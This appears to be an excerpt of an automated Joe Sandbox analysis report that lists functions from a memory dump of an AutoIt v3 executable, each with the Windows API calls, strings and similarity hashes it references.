GetSystemInfo.KERNELBASE ref: 00007FF797851F8B

Strings

|O, xrefs: 00007FF79789954C

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Process$CurrentInfoSystemVersionWow64
String ID: |O
API String ID: 1568231622-607156228
Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction ID: 131d03e441acbbb48827a8eab3da0fe5bd92b3c53c26667e77225ec41d6f33b5
Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction Fuzzy Hash: A7D17D21E1D28389EA31BB38A800975AF90EF617E4FD28076D58D026A5EF6CB513C731

Function 00007FF7978CF630 Relevance: 12.4, APIs: 8, Instructions: 350
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF7978CF80A
GetSystemDirectoryW.KERNEL32 ref: 00007FF7978CF838
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7978CF881
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7978CF8AF

Part of subcall function 00007FF7978AFAFC: GetStdHandle.KERNEL32 ref: 00007FF7978AFB23

CreateProcessW.KERNELBASE ref: 00007FF7978CFA43
GetLastError.KERNEL32 ref: 00007FF7978CFA88
CloseHandle.KERNEL32 ref: 00007FF7978CFAC2

Part of subcall function 00007FF7978AF7DC: ~SyncLockT.VCCORLIB ref: 00007FF7978AF7E9
Part of subcall function 00007FF7978AF7DC: ~SyncLockT.VCCORLIB ref: 00007FF7978AF7F2

CloseHandle.KERNEL32 ref: 00007FF7978CFB35

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Directory$Handle$CloseCurrentLockSyncSystem$CreateErrorLastProcess
String ID:
API String ID: 1787492119-0
Opcode ID: 24d3ae7d1d8ea900f01d81b2f37a51b4951de3a31202b8787ffcb64f949d5a4b
Instruction ID: fc90016a6f0212cee6b8a0a84168f0bd1ad3a1be70491f4cdad970272a9a556d
Opcode Fuzzy Hash: 24d3ae7d1d8ea900f01d81b2f37a51b4951de3a31202b8787ffcb64f949d5a4b
Instruction Fuzzy Hash: 18E19122B08B4185EB20EB36D5506BDBBA0FB84BD4F844536EE5D477A9DF38E426C710

Function 00007FF797842E30 Relevance: 6.5, APIs: 2, Strings: 1, Instructions: 1264COMMON

Download Yara Rule

APIs

_Init_thread_footer.LIBCMT ref: 00007FF79788E641

Strings

Variable must be of type 'Object'., xrefs: 00007FF79788E92D

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Variable must be of type 'Object'.
API String ID: 1385522511-109567571
Opcode ID: 964c9efeee15d1b20541a3be920371a0534f8302fe66a62436ad536660fe7a46
Instruction ID: e9339a8922cc62ba1bf03434e2b057322f05d0a7547059335954dc89671cfaad
Opcode Fuzzy Hash: 964c9efeee15d1b20541a3be920371a0534f8302fe66a62436ad536660fe7a46
Instruction Fuzzy Hash: E9C29132A08A8286EB70EF25D441AB9BB61FB54BD4FD44131DA4E57B95CF7CE862C310

Function 00007FF797837920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF797835680: GetModuleFileNameW.KERNEL32(?,00007FF797837A0C,?,?,?,00007FF79783109E), ref: 00007FF79783569F

Part of subcall function 00007FF797853A38: GetFullPathNameW.KERNEL32(?,00007FF797837A1B,?,?,?,00007FF79783109E), ref: 00007FF797853A5F

RegOpenKeyExW.KERNELBASE(?,?,?,00007FF79783109E), ref: 00007FF797837A75
RegQueryValueExW.ADVAPI32(?,?,?,00007FF79783109E), ref: 00007FF79787D081
RegQueryValueExW.ADVAPI32(?,?,?,00007FF79783109E), ref: 00007FF79787D0E9
RegCloseKey.ADVAPI32(?,?,?,00007FF79783109E), ref: 00007FF79787D138
wcscat.LIBCMT ref: 00007FF79787D19E
wcscat.LIBCMT ref: 00007FF79787D1CF

Strings

Software\AutoIt v3\AutoIt, xrefs: 00007FF797837A64
Include, xrefs: 00007FF79787D06F, 00007FF79787D0D2
\Include\, xrefs: 00007FF797837A1B

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\Include\
API String ID: 2667193904-1575078665
Opcode ID: 76c9a1b4bd2bf018c4c0ae9c3e411050a532064aa24ec561f7829367f658b77e
Instruction ID: 14c216cdb34a02be29f457afb615e55e26969ee52a52b2b369f59ae1004ab168
Opcode Fuzzy Hash: 76c9a1b4bd2bf018c4c0ae9c3e411050a532064aa24ec561f7829367f658b77e
Instruction Fuzzy Hash: AD915B22A18A8395EB30FB34E8418B9A764FF847D4FC10132E54D47AA5EF7CE656C760

Function 00007FF797835DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32 ref: 00007FF797835E76
KillTimer.USER32 ref: 00007FF797835EB1
SetTimer.USER32 ref: 00007FF797835ED9
RegisterWindowMessageW.USER32 ref: 00007FF797835EE6
CreatePopupMenu.USER32 ref: 00007FF797835EFC
PostQuitMessage.USER32 ref: 00007FF797835F23

Strings

TaskbarCreated, xrefs: 00007FF797835EDF

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 1235ebd7e81448e07564660c9660bef83c799ad38fc0a315f2003c32225d847e
Instruction ID: 595dd7e19a25f506232d5ab0b91a5463a9843f6704a1074a057f2ad4beedf8c7
Opcode Fuzzy Hash: 1235ebd7e81448e07564660c9660bef83c799ad38fc0a315f2003c32225d847e
Instruction Fuzzy Hash: 24514431A0C64781FA30BB3CE958A79EB95AF45BD0FD50631D44E836A1DE6CF5678320

Function 00007FF797833D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF797833DE5
RegisterClassExW.USER32 ref: 00007FF797833E16
RegisterWindowMessageW.USER32 ref: 00007FF797833E2A
InitCommonControlsEx.COMCTL32 ref: 00007FF797833E48
ImageList_Create.COMCTL32 ref: 00007FF797833E63
LoadIconW.USER32 ref: 00007FF797833E7C
ImageList_ReplaceIcon.COMCTL32 ref: 00007FF797833E8F

Strings

TaskbarCreated, xrefs: 00007FF797833E1C
AutoIt v3 GUI, xrefs: 00007FF797833DF8

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-2659433951
Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction ID: 699c6ffc9ad3b939ddf8a0b3f8ee8e0570b0d9b1b3e781579784bdf2bc8dacca
Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction Fuzzy Hash: 2D311832A04B029AE720EF70E8447A97BB4FB44798F904139CA5D17B64DF7CD16ACB90

Function 00007FF79784E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM ref: 00007FF79784E9C3
OleUninitialize.OLE32 ref: 00007FF79784EABF
UnregisterHotKey.USER32(?,?,?,00007FF79784E939), ref: 00007FF79784ECD9
DestroyWindow.USER32(?,?,?,00007FF79784E939), ref: 00007FF7978927E4

Strings

close all, xrefs: 00007FF79784E9B7

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: DestroySendStringUninitializeUnregisterWindow
String ID: close all
API String ID: 1992507300-3243417748
Opcode ID: 4c517cb0080db27a8c6d615c682ee036227505625b693fedb5a628ea42d5a717
Instruction ID: 20e4624666eee49a030d5875aba025198ad254a8185d8fac137ef614034b43e2
Opcode Fuzzy Hash: 4c517cb0080db27a8c6d615c682ee036227505625b693fedb5a628ea42d5a717
Instruction Fuzzy Hash: 8AE13022B09A0285EE78FB26C551A7CAB60BF94BC4F944075DB0E57691DF7CE8738720

Function 00007FF797833B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF797833B9E
LoadCursorW.USER32 ref: 00007FF797833BAE
LoadIconW.USER32 ref: 00007FF797833BC3
LoadIconW.USER32 ref: 00007FF797833BDC
LoadIconW.USER32 ref: 00007FF797833BF5
LoadImageW.USER32 ref: 00007FF797833C21
RegisterClassExW.USER32 ref: 00007FF797833C85

Part of subcall function 00007FF797833D90: GetSysColorBrush.USER32 ref: 00007FF797833DE5
Part of subcall function 00007FF797833D90: RegisterClassExW.USER32 ref: 00007FF797833E16
Part of subcall function 00007FF797833D90: RegisterWindowMessageW.USER32 ref: 00007FF797833E2A
Part of subcall function 00007FF797833D90: InitCommonControlsEx.COMCTL32 ref: 00007FF797833E48
Part of subcall function 00007FF797833D90: ImageList_Create.COMCTL32 ref: 00007FF797833E63
Part of subcall function 00007FF797833D90: LoadIconW.USER32 ref: 00007FF797833E7C
Part of subcall function 00007FF797833D90: ImageList_ReplaceIcon.COMCTL32 ref: 00007FF797833E8F

Strings

AutoIt v3, xrefs: 00007FF797833C3F

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: AutoIt v3
API String ID: 423443420-1704141276
Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction ID: fdb384b397620e99bea84b8f11a40dc6be48d32112f02acb3326726c88380569
Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction Fuzzy Hash: C9313B36A08B028AE760FB61F844768B774FB447A4F854139CD8D17B14DF7DE0568760

Function 00007FF797877348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF797877078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7978770B9
Part of subcall function 00007FF797877078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797877136
Part of subcall function 00007FF797877078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF797877187

CreateFileW.KERNELBASE ref: 00007FF797877449
CreateFileW.KERNEL32 ref: 00007FF7978774A5
GetLastError.KERNEL32 ref: 00007FF7978774D9
GetFileType.KERNELBASE ref: 00007FF7978774EE
GetLastError.KERNEL32 ref: 00007FF7978774F8
CloseHandle.KERNEL32 ref: 00007FF79787752B
CloseHandle.KERNEL32 ref: 00007FF797877684
CreateFileW.KERNEL32 ref: 00007FF7978776BC
GetLastError.KERNEL32 ref: 00007FF7978776CB

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction ID: 3fe6130a77031366c77efb174e108f3503a204dd10e71adb4cf6052316e88239
Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction Fuzzy Hash: 75C1C232B14A418AEB60EF74D445BAC7BA1EB89BA8F405235DE1E5B7D5CF38D066C310

Function 00007FF7978425BC Relevance: 12.4, APIs: 8, Instructions: 442
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 00007FF7978426DA
timeGetTime.WINMM ref: 00007FF7978428BC
PeekMessageW.USER32 ref: 00007FF7978429E3
TranslateMessage.USER32 ref: 00007FF797842A23
DispatchMessageW.USER32 ref: 00007FF797842A2D
PeekMessageW.USER32 ref: 00007FF797842A47

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Message$Peek$DispatchInputStateTimeTranslatetime
String ID:
API String ID: 3249950245-0
Opcode ID: a9008c454cb951ee8e911f1e63a45c584e63384c6a3d805aa6474dc0cf70a92d
Instruction ID: 1fcd04e57821c7a3786a050d9e43c966b981e1cb7e9101f74b88aebaa994ddd9
Opcode Fuzzy Hash: a9008c454cb951ee8e911f1e63a45c584e63384c6a3d805aa6474dc0cf70a92d
Instruction Fuzzy Hash: 65229032A0C6828AEB74EB34D441BBDABA0FB45BD4F944136DA5D43695CF7CE462C720

Function 00007FF797833CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32 ref: 00007FF797833D0C
CreateWindowExW.USER32 ref: 00007FF797833D5F
ShowWindow.USER32 ref: 00007FF797833D75

Strings

edit, xrefs: 00007FF797833D18
AutoIt v3, xrefs: 00007FF797833CC8
d, xrefs: 00007FF797833CF4

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Window$Create$Show
String ID: AutoIt v3$d$edit
API String ID: 2813641753-2600919596
Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction ID: 47a5ba42f730ed9b66ae1191137289bc2c3dd952b43f29f9c0e3ba2f42521bab
Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction Fuzzy Hash: 25216372A2CB42C6E720EB24F848729B7E1FB487E9F514238D64D46654CFBDD056CB50

Function 00007FF797837EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF797852D5C: MapVirtualKeyW.USER32(?,?,?,00007FF797837FA5), ref: 00007FF797852D8E
Part of subcall function 00007FF797852D5C: MapVirtualKeyW.USER32(?,?,?,00007FF797837FA5), ref: 00007FF797852D9C
Part of subcall function 00007FF797852D5C: MapVirtualKeyW.USER32(?,?,?,00007FF797837FA5), ref: 00007FF797852DAC
Part of subcall function 00007FF797852D5C: MapVirtualKeyW.USER32(?,?,?,00007FF797837FA5), ref: 00007FF797852DBC
Part of subcall function 00007FF797852D5C: MapVirtualKeyW.USER32(?,?,?,00007FF797837FA5), ref: 00007FF797852DCA
Part of subcall function 00007FF797852D5C: MapVirtualKeyW.USER32(?,?,?,00007FF797837FA5), ref: 00007FF797852DD8

Part of subcall function 00007FF79784EEC8: RegisterWindowMessageW.USER32 ref: 00007FF79784EF76

GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79783106D), ref: 00007FF797838209
OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79783106D), ref: 00007FF79783828F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF79783106D), ref: 00007FF79787D36A

Strings

AutoIt, xrefs: 00007FF797837F46

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID: AutoIt
API String ID: 1986988660-2515660138
Opcode ID: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction ID: 0004f4478a0c886309f74df8a7d5b77d6adc83b917139a21e1324c2285d79aec
Opcode Fuzzy Hash: 05bbf670eb9e39fefa972cb9767a51cd3be064064f2c67d840eb130580157bae
Instruction Fuzzy Hash: ADC1A561E19B4385E660FB38AC81475FBA8FF943E0F920236D45D42A71DF7CA156C7A0

Function 00007FF7978372C8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 00007FF79783739E
Shell_NotifyIconW.SHELL32 ref: 00007FF7978373AC
LoadStringW.USER32 ref: 00007FF79787CE12

Strings

Line: , xrefs: 00007FF79787CE52

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: IconLoadNotifyShell_Stringwcscpy
String ID: Line:
API String ID: 3135491444-1585850449
Opcode ID: d297a7005dd5db4d80d7ddfa981a4a2ba83f86c4ab3c19e1d6fa449eee743d8e
Instruction ID: 71ba439ae66315840bc3d625d00f1019f17b35709ce7c2db78686ab7aaa163dc
Opcode Fuzzy Hash: d297a7005dd5db4d80d7ddfa981a4a2ba83f86c4ab3c19e1d6fa449eee743d8e
Instruction Fuzzy Hash: FF412162A0C64696EB30FB38D4806F9A761FB843D8FC45031E64D0769AEF7CE556C760

Function 00007FF797833F04 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32 ref: 00007FF79787BAA2

Part of subcall function 00007FF7978356D4: GetFullPathNameW.KERNEL32(?,00007FF7978356C1,?,00007FF797837A0C,?,?,?,00007FF79783109E), ref: 00007FF7978356FF

Part of subcall function 00007FF797833EB4: GetLongPathNameW.KERNELBASE ref: 00007FF797833ED8

Strings

au3, xrefs: 00007FF79787BA80
AutoIt script files (*.au3, *.a3x), xrefs: 00007FF79787BA74
Run Script:, xrefs: 00007FF79787BA4D

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: AutoIt script files (*.au3, *.a3x)$Run Script:$au3
API String ID: 779396738-2360590182
Opcode ID: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction ID: b63157f8d28449fed2bbd61cb148fbf2fa81ced0ae22d88a44808ba9b54b3f76
Opcode Fuzzy Hash: 3d3fc2c380e417bd563531e27a10fb74c95a399e56ca3ea23b17778c650accb1
Instruction Fuzzy Hash: F4316C62608B8289E720EB35E8405A9BBB4FB49BC4F984135DE8C47B55DF3CD556C720

Function 00007FF797836F60 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF797836F52,?,?,?,?,?,?,00007FF79783782C), ref: 00007FF797836FA5
RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF797836F52,?,?,?,?,?,?,00007FF79783782C), ref: 00007FF797836FD3
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF797836F52,?,?,?,?,?,?,00007FF79783782C), ref: 00007FF797836FFA

Memory Dump Source

Source File: 00000000.00000002.1702339126.00007FF797831000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF797830000, based on PE: true

Associated: 00000000.00000002.1702322584.00007FF797830000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF7978E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702434297.00007FF797908000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702479678.00007FF79791A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1702496489.00007FF797924000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff797830000_file.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
Instruction ID: 755125a7804cd830c00a3e49c74438e15564727b3379a7af7b915582017b0745
